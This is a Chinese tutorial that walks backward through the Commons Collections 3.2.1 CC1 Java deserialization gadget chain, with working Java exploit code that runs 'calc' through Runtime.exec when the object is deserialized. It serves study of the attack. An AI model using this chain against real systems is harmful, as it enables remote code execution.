CC1分析
环境
jdk8u65
:
https://www.azul.com/downloads/?version=java-8-lts&os=windows&package=jdk&show-old-builds=true#zulu
sun
包的源码:
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>CC1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
</dependencies>
</project>
示例
生成CC1
弹计算器的文件CC1.ser
新建maven
项目测试类CC1Test
用来反序列化
import org.junit.Test;
import java.io.*;
public class CC1Test {
public static void serializable (Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserializable (String path) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
@Test
public void test() throws Exception {
//serializable("CC.bin",CC);
unserializable("CC1.ser");
}
}
测试OK,这里注意如果报错找不到CC1Test
测试执行以下操作
执行命令:
mvn clean test
即可
分析
这里就倒着推导
先找一下怎么执行exec
在cc库中有个Transformer
其中一个实现类是InvokerTransformer
,它有一个方法transform
实现的功能就是反射调用某个类的某个方法,其中类,方法,参数都是可控的由上面的初始化时传入
那这就好说了,使用反射调用transform
弹计算器
public void invokerExec() throws Exception {
//常规执行命令
//Runtime.getRuntime().exec("calc");
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
invokerTransformer.transform(Runtime.getRuntime());
}
现在就是要找那里调用了InvokerTransformer.transform
查找用法(记得去maven里面下载源码)里面有个TransformedMap.checkSetValue
这里显而易见只要把valueTransformer
改为InvokerTransformer
就OK
找到TransformedMap.TransformedMap
这里是能达到目的,但是是protected
所以还得找在哪调用了TransformedMap.TransformedMap
找到TransformedMap.decorate
这下就完整了,但是回过头发现TransformedMap.checkSetValue
也是protected
所以继续查找在哪调用了TransformedMap.checkSetValue
找到在AbstractInputCheckedMapDecorator
里面进行了调用
再回头看一下TransformedMap
和decorate
发现就是比较像装饰器,传入一个map进行操作后返回一个map,其中的操作就使用了setValue
随后调用了checkSetValue
代码如下,大致过程就是创建一个map然后使用decorate
进行操作,操作完了以后调用setValue
并且传入需要调用的Runtime.getRuntime()
类
public void transformerMap() throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
//TransformedMap decorate = (TransformedMap) TransformedMap.decorate(null, null, invokerTransformer);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("a","b");
Map<Object,Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);
for (Map.Entry<Object,Object> entry : decorate.entrySet()) {
entry.setValue(Runtime.getRuntime());
}
}
接下来就是找那里调用了setValue
最好找到既能序列化还实现了readObject
方法还在readObject
里面调用了setValue
,这样就能反序列化和序列化了,就不用找了,最后找到了
AnnotationInvocationHandler.readObject
现在需要执行到这个AnnotationInvocationHandler.readObject
因为不是公开类所以使用反射调用
执行到readObject
要执行setValue
还要过两层if
第一层要求:memberType != null
memberType
←memberTypes
memberTypes
← annotationType
annotationType
← type
type
是传入的注解
annotationType = AnnotationType.getInstance(type);
这行代码的作用是获取与注解类型 type
对应的 AnnotationType
实例
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
这行代码的作用是获取注解类型中所有成员方法的 “方法名 - 返回类型” 映射
而
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
就是从memberTypes
中根据key
获取值,然后给memberType
也就是说传入的map
的key
要是传入的注解的键,这样才能根据key查到不为null的memberType
使用下面的代码输出一下Target
的键值
所以传入的map
的key
需要是value
修改一下代码
public void annotationInvocationHandler() throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value","b");
Map<Object,Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);
serializable(o);
unserializable("ser.bin");
}
可以看到已经进了第一个if
了
第二个if
要绕过(或说触发)if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
这个判断,核心是让传入的 value
类型与 ElementType[]
不匹配
Target
注解的 value 成员要求类型是 ElementType[](java.lang.annotation.ElementType
枚举的数组)。
memberType.isInstance(value)
会检查 value
是否为 ElementType[]
的实例。
只要让这个检查结果为 false
(即 value
不是 ElementType[]
类型),且 value
不是 ExceptionProxy
类型,就会进入 if
块。
直接传个null
可以看到已经进到第二个if
了
接下来就是控制调用的setValue
传入的参数可控
这里先找到一个常量transform
也就是ConstantTransformer.transform
这里显而易见就是先传入一个类,然后调用ConstantTransformer.transform
的时候不论传入什么都返回的是你前面传入的类,但是这样的话调用链就断了,所以还是不行
又找到一个ChainedTransformer.transform
这段代码的功能就是你传入的第一个Transformer
的输出作为第二个Transformer
的输入
所以代码就可以这样写
public void CCTransformer() throws Exception {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
constantTransformer,
invokerTransformer
});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value",null);
Map<Object,Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);
serializable(o);
unserializable("ser.bin");
}
但是还有个问题
Runtime
没实现序列化接口
这样的话只能找一个能调用Runtime
的并且实现了序列化的类
但是Class
类可以
最终的代码
public void CC1() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value","1");
Map<Object,Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);
serializable(o);
unserializable("ser.bin");
}
效果如下